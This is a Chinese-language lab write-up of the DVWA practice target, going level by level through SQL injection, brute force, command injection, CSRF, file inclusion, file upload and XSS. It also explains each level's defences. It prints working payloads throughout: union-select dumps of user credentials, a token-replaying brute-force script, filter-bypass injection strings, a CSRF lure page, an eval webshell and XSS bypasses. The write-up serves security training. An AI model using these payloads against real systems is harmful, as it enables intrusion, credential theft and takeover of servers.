靶场练习之DVWA

本文主要是对web安全靶场DVWA的一些小结。
DVWA的下载地址如下:
链接:https://pan.baidu.com/s/10ohVgeB-Aj6DKniISwwIvg
提取码:jsaz

SQL注入

本节主要讲解DVWA的SQL注入.

Low级别

DVWA中SQL注入展示
输入1:
输入1
输入1’:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1

根据报错信息,可以确定输入参数的内容被存放到一对单引号中间.
猜想: 咱们输入的1在数据库中出现的位置为: select … from … where id=’1’ …

破解:
首先,通过 1’ order by 2# 来确定有两列.
确定列数
爆库: 1’ union select 1,database()# 得到数据库名称为dvwa
爆库
爆表: 1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()# 得到有两个表 guestbook,users
爆users表的列: 1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’# 其中最重要的是 user,password
爆users表中的值: 1’ union select 1,group_concat(user,0x3a,password) from users#
代码分析: $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 与猜想的一致,这是一个GET单引号字符型注入.

Medium 级别

在这里插入图片描述
可以看到,变为了下拉按钮. 同时,从原先的Get形式变成了Post形式进行提交. 可以使用火狐浏览器自带的插件进行尝试,或者使用burp suite抓包.
爆库: POST中数据为 id=1 union select 1,database()#&Submit=Submit 可以看出,现在的注入变成了数值型.
代码分析: $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; 是数值型的注入.
爆表: POST中数据为 id=2 union select1,table_name from information_schema.tables wheretable_name=‘dvwa’#&Submit=Submit
发现会出错,low级别的注入已经不适用了,从出错内容可以看出,对单引号进行了转义:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'select1,table_name from information_schema.tables wheretable_name=\'dvwa\'#' at line 1

代码分析: $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); 可以看到是利用了mysqli_real_escape_string函数对id中的特殊字符进行了转义.
重新爆表: 思路是在语句中不使用单引号
方法一: id=2 union select 1,table_name from information_schema.tables where table_schema=database()#&Submit=Submit
方法二: id=2 union select 1,table_name from information_schema.tables where table_schema=0x64767761 #&Submit=Submit 0x表示十六进制 64767761表示的是使用Hex编码对dvwa进行编码,可以通过一些在线工具实现. (推荐这种破解方式,因为后面的爆列,爆值都可以使用)

High级别

High级别
不在原先的页面输入id号,而是重新打开新的页面输入id.
输入: 1 正确
输入: 1’ 出错
输入: 1’ and ‘1’=‘1 正确
输入: 1’ and ‘1’=‘2 未显示结果
判定为字符型注入,通过第二个页面的Post传递参数. 破解方式和Low级别类似.
例如: 爆库 在输入框中输入 1’ union select 1,database()#
代码分析: $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; 可以看出与上面两个级别有所区别的是通过 limit 1来约束输出的结果. 但都被#给注释掉了.
需要特别提到的是,High级别的查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入,因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。

Impossible级别

Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”,Anti-CSRFtoken机制的加入了进一步提高了安全性。 应该是和java中sql预编译技术一个思路吧。
代码分析: $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );

SQL注入(Blind)

本节主要讲解DVWA的SQL盲注。
普通SQL注入: 1.执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提示SQL语法不正确等 2.一般在页面上直接就会显示执行sql语句的结果
SQL盲注: 1.一般情况,执行SQL盲注,服务器不会直接返回具体的数据库错误or语法错误,而是会返回程序开发所设置的特定信息(也有特例,如基于报错的盲注) 2.一般在页面上不会直接显示sql执行的结果 3.有可能出现不确定sql是否执行的情况

Low级别

输入存在的id值
Low级别1
Low级别2
构造语句,探测对应结果:

语句 结果
1 1 exists
2 1’ MISSING
3 1’ and 1=1# exists
4 1’ and 1=2# MISSING

初步判定,属于基于bool型单引号GET盲注。
爆库:
1)判断数据库名称的长度(二分法思维)

语句 结果
1’ and length(database())>10 # MISSING
1’ and length(database())>5 # MISSING
1’ and length(database())>3 # exists
1’ and length(database())=4 # exists

2)判断数据库名称(二分法思维)
与上面相似,
?id=1’ and left((select database()),1)>‘s’#
或者使用ascii的方式
1’ and ascii(substr(database(),1,1))>105 #
慢慢得到数据库的名称。
爆表之类的都是类似情况。
代码分析:
字符型:$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';
使用@屏蔽了mysql的错误输出:$num = @mysqli_num_rows( $result );

Medium级别

Medium级别盲注
结合DVWA的SQL注入中Medium级别和盲注的Low级别,通过在Post中构造对应的语句就可以进行注入了。因为Medium级别都对特殊符号进行了转义处理,所以对于带有引号包含字符串的字段值,可以转换成16进制的形式进行绕过限制,从而提交到数据库进行查询。

High级别

参考sql注入中的High基本和盲注的思路。
值得注意的是:代码中存在随机执行sleep()函数,延迟的时间是随机在2-4s,这样会对正常的基于时间延迟的盲注测试造成干扰。因此无法使用基于布尔的盲注:

if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
 } 

Impossible级别

impossible.php代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入
只有当返回的查询结果数量为一个记录时,才会成功输出,这样就有效预防了暴库
利用is_numeric($id)函数来判断输入的id是否是数字or数字字符串,满足条件才知晓query查询语句
Anti-CSRF token机制的加入了进一步提高了安全性,session_token是随机生成的动态值,每次向服务器请求,客户端都会携带最新从服务端已下发的session_token值向服务器请求作匹配验证,相互匹配才会验证通过

全等级SQL Injection(Blind)对比:

Level Description
Low 1.文本框输入并提交的形式,GET请求方式; 2.未作任何输入过滤和限制,攻击者可任意构造所想输入的sql查询
Medium 1.下拉列表选择数字ID并提交的形式,限制用户在客户端的输入,POST请求方式; 2.利用mysql_real_escape_string()函数对特殊符号
High 1.将数据提交页面和结果显示界面实行分离在两个不同页面,一定程度上可约束SQLMap自动化工具的常规方式扫描(没法完全阻挡); 2.在提交页面,利用set-cookie对输入的ID值进行传递到显示页面的cookie字段中保存; 3.在sql语句中添加LIMIT1,以此限定每次输出的结果只有1个记录,不会输出所有记录
Impossible 1.采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,Anti-CSRF token机制的加入了进一步提高了安全性; 2.采用参数化查询,而非动态查询; 3.对代码和数据实现分离处理

Brute Force(暴力破解)

本节主要讲解DVWA中的暴力破解案例。

首先,介绍一下Burp Suite的四种暴力破解模式:
Sniper标签–这个是我们最常用的,Sniper是狙击手的意思。这个模式会使用单一的payload【就是导入字典的payload】组。它会针对每个position中$$位置设置payload。这种攻击类型适合对常见漏洞中的请求参数单独地进行测试。攻击中的请求总数应该是position数量和payload数量的乘积。

Battering ram – 这一模式是使用单一的payload组。它会重复payload并且一次把所有相同的payload放入指定的位置中。这种攻击适合那种需要在请求中把相同的输入放到多个位置的情况。请求的总数是payload组中payload的总数。简单说就是一个playload字典同时应用到多个position中

Pitchfork – 这一模式是使用多个payload组。对于定义的位置可以使用不同的payload组。攻击会同步迭代所有的payload组,把payload放入每个定义的位置中。比如:position中A处有a字典,B处有b字典,则a【1】将会对应b【1】进行attack处理,这种攻击类型非常适合那种不同位置中需要插入不同但相关的输入的情况。请求的数量应该是最小的payload组中的payload数量

Cluster bomb – 这种模式会使用多个payload组。每个定义的位置中有不同的payload组。攻击会迭代每个payload组,每种payload组合都会被测试一遍。比如:position中A处有a字典,B处有b字典,则两个字典将会循环搭配组合进行attack处理这种攻击适用于那种位置中需要不同且不相关或者未知的输入的攻击。攻击请求的总数是各payload组中payload数量的乘积。

Low级别

暴力破解
破解方式:
1)抓包
抓包
2)Intruder
Intruder
Intruder2
Intruder3
attack
3)结果
结果
根据结果知道 admin password 是其中一对用户名和密码。

代码分析: $query = "SELECT * FROMusersWHERE user = '$user' AND password = '$pass';"; 没什么防护措施

Medium级别

破解方式和Low级别一致。
不同之处:
1)username和password都使用了mysqli_real_escape_string进行转义,防止sql注入(低等级的可以进行sql注入)。
2)破解速度变慢了。 代码: sleep( 2 ); // Login failed 每次输入失败将会沉睡2秒。

High级别

通过抓包可知,与上面两个级别不同的是,high级别加入了token:
token

根据抓包分析,每次生成的token都会放在如图所示的位置,只要写一个脚本,在每次请求的时候,根据response来得到token,然后加上用户名和密码,就能持续请求下去(毕竟没有次数限制):
token位置
网上就有人写了对应的python脚本:

from bs4 import BeautifulSoup
import requests

header={
        'GET': 'http://localhost/DVWA/vulnerabilities/brute/ HTTP/1.1',
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0',
        'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
        'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
        'Referer':'http://localhost/DVWA/vulnerabilities/brute/',
        'cookie':'PHPSESSID=8fbhto539r4fnjt4dduolvikj3; security=high',
        'Connection':'keep-alive',
        'Upgrade-Insecure-Requests':'1',
         'Host':'127.0.0.1'
        }
requrl="http://127.0.0.1/DVWA/vulnerabilities/brute/"

def get_token(requrl,header):
    response=requests.get(url=requrl,headers=header)
    print (response.status_code,len(response.content))
    soup=BeautifulSoup(response.text,"html.parser")
    input=soup.form.select("input[type='hidden']")   #返回的是一个list列表
    user_token=input[0]['value']                   #获取用户的token
    return user_token

user_token=get_token(requrl,header)
i=0
for line in open("password.txt"):
    requrl="http://127.0.0.1/DVWA/vulnerabilities/brute/?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
    i=i+1
    print (i , 'admin' ,line.strip(),end="  ")
    user_token=get_token(requrl,header)
    # 尝试次数
    if(i==20):
        break

Impossible级别

Impossible级别的代码加入了可靠的防爆破机制,当检测到频繁的错误登录后,系统会将账户锁定,爆破也就无法继续。从代码中看,输错三次后,就会被锁定15分钟。同时,也对sql注入进行了防御(PDO技术),以及使用token对CSRF漏洞进行了防御。

if( $timenow < $timeout ) {
            $account_locked = true;
            // print "The account is locked<br />";
} 

Command Injection

本小节主要讲解命令注入。
命令执行漏洞的基本原理: 在操作系统中, & 、&& 、| 、 || 都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令

Low级别

命令执行漏洞
输入ip号 61.135.169.125 :
命令注入1
输入ip号+执行命令 61.135.169.125 & ipconfig:
命令注入2
代码分析: 可以看到,low级别的代码接收了用户输入的ip,然后根据服务器是否是Windows NT系统,对目标ip进行不同的ping测试。但是这里对用户输入的ip并没有进行任何的过滤,所以我们可以进行命令执行漏洞。

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?> 

Medium级别

代码分析: 与low相比较,多了下面这段,主要替换了 &&和;

 $substitutions = array(
        '&&' => '',
        ';'  => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); 

实际上,根本就不需要使用 && ,直接用 &,即上面low级别的方式仍然适用。
&&和&的区别在于,&&是执行完前面的命令然后执行后面的命令,&是不管前面的命令是否值执行,后面的都执行。

High级别

high级别对黑名单进行了扩充:

 // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    ); 

仔细看黑名单过滤中的 '| ' => '',|后面还有一个空格,所以我们可以进行绕过,输入以下命令: 61.135.169.125|ipconfig
由此可以看出,黑名单过滤看似安全,但是如果黑名单不全是话,是很容易进行绕过的,所以更倾向于使用白名单的方式。

Impossible级别

代码分析:

<?php
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    // Get input
    $target = $_REQUEST[ 'ip' ];
    $target = stripslashes( $target );
    // Split the IP into 4 octects
    $octet = explode( ".", $target );
    // Check IF each octet is an integer
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
        // If all 4 octets are int's put the IP back together.
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }
        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    else {
        // Ops. Let the user name theres a mistake
        echo '<pre>ERROR: You have entered an invalid IP.</pre>';
    }
}
// Generate Anti-CSRF token
generateSessionToken();
?> 

其中对应的三种函数作用如下:
stripslashes(string) : 该函数会删除字符串string中的反斜杠,返回已剥离反斜杠的字符串。
explode(separator,string,limit): 该函数把字符串打散为数组,返回字符串的数组。参数separator规定在哪里分割字符串,参数string是要分割的字符串,可选参数limit规定所返回的数组元素的数目。
is_numeric(string): 该检测string是否为数字或数字字符串,如果是返回TRUE,否则返回FALSE。

可以看到,Impossible级别的代码加入了Anti-CSRF token,同时对参数ip进行了严格的限制,只有诸如“数字.数字.数字.数字”的输入才会被接收执行,因此不存在命令注入漏洞。

Cross Site Request Forgery (CSRF)

本小节主要讲解DVWA的CSRF漏洞。
CSRF全称(Cross-site request forgery)跨站请求伪造,CSRF通过伪装成受信任用户的请求来利用受信任的网站,从而执行受害者非本意的操作,相对于XSS漏洞来说CSRF漏洞更具有危险性,当然构造CSRF漏洞也更麻烦。而且,相较于XSS漏洞来说,CSRF漏洞需要受害者已经登录对应的网站。
下图为DVWA的CSRF案例,用于更改密码。
CSRF漏洞

Low级别

填写新密码(password)并提交,抓包,可以看到修改的是password_ new ,password_conf,change这三个参数:
抓包1
显而易见,可以构造http://192.168.0.135/DVWA-master/vulnerabilities/csrf/?password_new=password&password_conf=password&change=change# 发给受害者,受害者点击之后密码就会被修改。
更进一步,为了欺骗受害者,使之更容易点开链接,可以构造如下的html页面 csrf.html :

<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>csrf漏洞</title>
</head>

<body>
<form action="http://localhost/DVWA/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="password" />
<input type="hidden" name="password_conf" value="password" />
<input type="hidden" name="Change" value="change" />
<input type="submit" value="美女图片下载"/>
</form>

</body>
</html>

将html文件放入phpstudy的www目录下,使用浏览器打开:
csrf伪造1
点击提交,修改密码成功:
csrf修改成功
可以查看一下源代码,主要逻辑是: 首先获取输入的两个密码然后判断两个值是否相等,若相等则接着对pass_new变量进行调用mysql_real_escape_string()函数来进行字符串的过滤(过滤了SQL注入)、再调用md5()函数对输入的密码进行MD5加密,最后再将新密码更新到数据库中。没有对CSRF漏洞进行任何的防御机制。

Medium级别

代码分析: 相较于Low级别,存在下面一段验证,主要是验证
reffer头,判断发送请求的是不是本机。

// Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) { 
    .....
    |

破解方式:修改referer参数,让reffer参数值包含host即可提交成功。
修改reffer
但上述的破解方式除非你能使用受害者电脑抓包(笑)破解,不然操作不了。所以可以使用下面的破解方式:
破解方式其二:因为referer这个参数总是跟链接一模一样的。可以在文件夹后面构造一个与host相同的文件夹将csrf.html放进去,这样,受害者点击链接就会更新其密码了:
csrf破解其二

High级别

代码分析: 最重要的是下面两段代码:

// Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 
// Generate Anti-CSRF token
generateSessionToken(); 

显而易见,high级别使用token来放置CSRF漏洞注入。
破解方式未知。。。。。。。。。。

Impossible级别

和前面两个等级不同,除校验token以及对sql注入进行了防御(PDO技术),impossible级修改密码的界面还需要通过当前密码,从而能够进行相应的身份认证:
CSRF注入4

File Inclusion

本小节讲解的是DVWA的文件包含漏洞。
简介: 文件包含漏洞是一种常见的漏洞。利用这个漏洞去包含危险文件,危险文件中有危险函数,从而会造成信息泄露和恶意代码执行。 文件包含往往要使用到目录遍历工具
原理: 通过把常用的功能归类成文件,然后使用文件包含来提高代码重用率。但文件包含功能使用的一些函数比如include函数,可以将web根目录以外的目录文件包含进来,从而产生了漏洞。
相关知识点:
1)文件包含分类:
LFI:本地文件包含(Local File Inclusion)
RFI:远程文件包含(Remote File Inclusion)
2)相关的 php.ini 配置参数:
allow_url_fopen = on (默认开启) 是否允许将URL(如http://或ftp://)作为文件处理。
allow_url_include = on (默认关闭)是否允许include/require打开URL(如http://或ftp://)作为文件处理。
注意: 从PHP5.2开始allow_url_include就默认为Off了,而allow_url_fopen一直是On的。当allow_url_include为On,就很容易出现文件远程包含漏洞。 远程文件包含是因为开启了 php 配置中的 allow_url_fopen 选项(选项开启之后,服务器允许包含一个远程的文件)。然而事实上若从系统角度来看,即使禁止了PHP的allow_url_fopen和allow_url_include功能, 其实也不能完全阻止远端调用及其所带来的安全隐忧,而且它们只是保护了标记为URL的句柄, 也就是说只能影响http(s)和ftp(s)的调用, 但对包含其他标记的远端调用,例如对PHP5.2.0新版所提供的php和data则无能为力,而这些调用一样会导致注入风险。
3)与文件包含有关的函数:
include():只有代码执行到该函数时才会包含文件进来,发生错误时只给出一个警告并继续向下执行。
include_once():和 include()功能相同,区别在于当重复调用同一文件时,程序只调用一次。
require():只要程序执行就包含文件进来,发生错误时会输出错误结果并终止运行。
require_once():和 require()功能相同,区别在于当重复调用同一文件时,程序只调用一次。

Low级别

fi的low级别
代码分析: low级别的代码未对文件包含做任何处理。

// The page we wish to display
$file = $_GET[ 'page' ]; 

漏洞利用:
1)本地文件包含:
http://localhost/DVWA/vulnerabilities/fi/?page=/etc/shadow
获得路径1
报错,显示没有这个文件,说明不是服务器系统不是Linux,但同时暴露了服务器文件的绝对路径。
再次构造(绝对路径):
http://localhost/DVWA/vulnerabilities/fi/?page=D:\phpStudy\WWW\DVWA\php.ini
获得phpinfo1
如图所示,获得了dvwa目录下php.ini配置文件的信息。
2)远程文件包含
当服务器的php配置中,选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件,如果对文件来源没有检查的话,就容易导致任意远程代码执行。
如图,模拟远程文件包含漏洞,在远程(实际上是本地)服务器上,构造了一个phpinfo.txt文件。
远程phpinfo
构造url:
http://localhost/DVWA/vulnerabilities/fi/?\page=http://localhost/DVWA/phpinfo.txt
fi远程结果
为了增加隐蔽性,可以使用工具对http://localhost/DVWA/phpinfo.txt进行url编码。

Medium级别

代码分析: 在low级别的基础上,增加了str_replace,即将”http:// ”、”https://”、 ” …/”、”…\”替换为空字符,即删除。

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file ); 

破解方式: 可以使用双写绕过替换规则。例如url构造为page=hthttp://tp://192.168.5.12/phpinfo.txt时,str_replace函数会将http://删除,于是page=http://192.168.5.12/phpinfo.txt,成功执行远程命令。
同时,因为替换的只是“…/”、“…\”,所以对采用绝对路径的方式包含文件是不会受到任何限制的。

High级别

代码分析: High级别的代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
} 

High级别的代码规定只能包含file开头的文件,看似安全,不幸的是我们依然可以利用file协议绕过防护策略。
破解方式:构造如下url
http://localhost/DVWA/vulnerabilities/fi/?page=file:////D:\phpStudy\WWW\DVWA\php.ini
至于执行任意命令,需要配合文件上传漏洞利用。首先需要上传一个内容为php的文件,然后再利用file协议去包含上传文件(需要知道上传文件的绝对路径),从而实现任意命令执行。

Impossible级别

代码分析: 简单粗暴,白名单的方式,直接规定必须为页面列出的文件,不然不包含。

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
} 

File Upload

本小节讲解的是DVWA的文件上传漏洞。
简介: 文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带来的危害常常是毁灭性的,Apache、Tomcat、Nginx等都曝出过文件上传漏洞。
文件上传漏洞利用条件: 文件上传漏洞的利用是有限制条件的,首先当然是要能够成功上传木马文件,其次上传文件必须能够被执行,最后就是上传文件的路径必须可知。

Low级别

fu1
代码分析:

File Upload Source
vulnerabilities/upload/source/low.php
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}
?>

服务器对上传文件的类型、内容没有做任何的检查、过滤,存在明显的文件上传漏洞,生成上传路径后,服务器会检查是否上传成功并返回相应提示信息。
漏洞利用:
1)构造一句话木马 hack.php:

<?php
  @eval($_POST['apple']);
?>

2)上传一句话木马:
fu2
根据返回的信息可以知道,绝对路径为:
http://localhost/DVWA/hackable/uploads/hack.php
3)使用中国菜刀
输入路径 http://localhost/DVWA/hackable/uploads/hack.php
参数 apple

Medium级别

代码分析: 添加了如下代码,从而对上传的文件的类型和大小做了明确的限制。

if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && 
 ( $uploaded_size < 100000 ) ) { 

漏洞利用方式其一: 使用burp suit抓包,修改文件类型,再次把hack.php上传上去。
漏洞利用方式其二: 文件包含漏洞+文件上传漏洞
首先,将hack.php后缀改成png从而上传上去,但这时候使用菜刀无法利用漏洞——中国菜刀的原理是向上传文件发送包含apple参数的post请求,通过控制apple参数来执行不同的命令,而这里服务器将木马文件解析成了图片文件,因此向其发送post请求时,服务器只会返回这个“图片”文件,并不会执行相应命令。
其次,为了让服务器将hack.png解析为php文件,可以借助Medium级别的文件包含漏洞,即构造如下的url:
http://localhost/dvwa/vulnerabilities/fi/?page=hthttp://tp://localhost/dvwa/hackable/uploads/hack.png
可以看到,通过文件包含漏洞,将hack.png解析成了php文件
最后,使用中国菜刀
输入路径 http://localhost/dvwa/vulnerabilities/fi/?page=hthttp://tp://localhost/dvwa/hackable/uploads/hack.png
参数 apple
漏洞利用方式其三: 截断绕过规则
在php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off时,可以在文件名中使用%00截断,所以可以把上传文件命名为hack.php%00.png。此时,上传文件时,格式会认为是png,但服务器在执行时候,会忽略 %00后的内容,所以会把文件当做hack.php进行解析。

High级别

代码分析:

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?> 

与Medium不同的是,High级别限制更加严格。
1)High级别代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是”.jpg”、”.jpeg” 、”*.png”(通过$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1););
2)同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型(getimagesize函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。)。
漏洞利用方式: 使用图片一句话木马,即将图片和一句话木马合并在一起(制作方式可以直接百度谷歌图片一句话木马),然后将图片上传上去,其余步骤和Medium中漏洞利用方式其二一致,都是通过文件包含漏洞将图片文件解析成为php格式,然后使用菜刀进行利用。

Impossible级别

Impossible级别的代码对上传文件进行了重命名(为md5值,导致%00截断无法绕过过滤规则),同时还使用imagecreatefrompng函数对文件进行重新构造,所以即使有恶意脚本,经过重新构造之后,就消失了。同时,加入Anti-CSRF token防护CSRF攻击。

XSS

本小节主要讲解XSS漏洞,包括reflected,stored,dom三种类型。
XSS,全称Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要强调的是,XSS不仅仅限于JavaScript,还包括flash等其它脚本语言。根据恶意代码是否存储在服务器中,XSS可以分为存储型的XSS反射型的XSS。DOM型的XSS由于其特殊性,常常被分为第三种,这是一种基于DOM树的XSS。例如服务器端经常使用document.boby.innerHtml等函数动态生成html页面,如果这些函数在引用某些变量时没有进行过滤或检查,就会产生DOM型的XSS。DOM型XSS可能是存储型,也有可能是反射型。

XSS(Reflected)

Low级别

XSS1
代码分析: 没有对输入的值做任何过滤处理。
// Is there any input?
if( array_key_exists( “name”, $_GET ) && $_GET[ ‘name’ ] != NULL ) {
// Feedback for end user
echo '

Hello ’ . $_GET[ ‘name’ ] . ‘
’;
}
输入: <script>alert(/xss/)</script>,点击提交,弹窗,说明存在XSS注入。
XSS2

Medium级别

代码分析: 相较于low级别,采用了黑名单的方式,新增了过滤 script标签。

  // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] ); 

注入方式:
1)双写绕过 <sc<script>ript>alert(/xss/)</script>
2)大小写混淆绕过 <ScRipt>alert(/xss/)</script>

High级别

代码分析: 相较于Medium级别,同样使用了黑名单的方式进行过滤,适用了php的正则化匹配技术,防止大小写和双写绕过。

// Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); 

注入方式:
通过img、body等标签的事件或者iframe等标签的src注入恶意的js代码。例如:<img src=1 onerror=alert(/xss/)>

Impossible级别

代码分析:

 // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] ); 

Impossible级别的代码使用htmlspecialchars函数把预定义的字符&、”、 ’、<、>转换为 HTML 实体,防止浏览器将其作为HTML元素。同时还新增了token机制,防止CSRF注入。

XSS(Stored)

XSS3
与反射型和DOM型不同,存储型XSS,会将数据保存到数据库中。只要将XSS注入进数据库中,那么凡是会显示该数据的页面,只要被点开,都会触发XSS。
DVWA的XSS(Stored)每个级别的过滤方式和XSS(Reflected)是一一对应的,可以看到上一个小结内容。这里就不多叙述了。

XSS(DOM)

Low级别

查看页面源代码(php代码上什么都没有):
XSS4
注入方式: 插入的 javascript 代码可以在 decodeURL(lang) 被执行
构造url: http://localhost/DVWA/vulnerabilities/xss_d/?default=English<script>alert(/xss/);</script>
XSS5
其效果相当于: document.write("<option value='变量lang 的值'>English<script>alert(/xss/);</script></option>") 所以出现了弹窗。

Medium级别

代码分析: 相较于low级别的什么都没有,Medium级别增加了下面一段代码,从而对<script>标签进行了过滤。

# Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    } 

破解方式:不用<script>,使用img、body等标签的事件或者iframe等标签的src注入恶意的js代码。例如: http://localhost/DVWA/vulnerabilities/xss_d/??default=English</select><img src=1 onerror=alert(/xss/)>

High级别

代码分析: 使用白名单的方式,限制参数只能为French,English,German和Spanish其中一个。

# White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    } 

破解方式:
http://localhost/DVWA/vulnerabilities/xss_d/??default=English#<script>alert(/xss/)</script>
由于 form表单提交的数据先经过JS 过滤,所以注释部分的javascript 代码不会被传到服务器端(也就符合了白名单的要求)

Impossible级别

php代码什么都没做,但更改了前端页面的代码:
XSS6
由于大多数浏览器默认将从URL中获取的内容进行编码,而客户端的源代码中直接将编码后的输入插入到了动态页面中(可以与low级别的客户端代码进行比较),从而阻止了执行任何注入的JavaScript。
例如,构造url为http://localhost/DVWA/vulnerabilities/xss_d/?default=English<script>alert(/xss/);</script>,则会出现下面的结果,即前端页面将浏览器解码的内容原封不动地输出到了前端,进行显示,构造的js无法执行了:
XSS7

sql注入参考
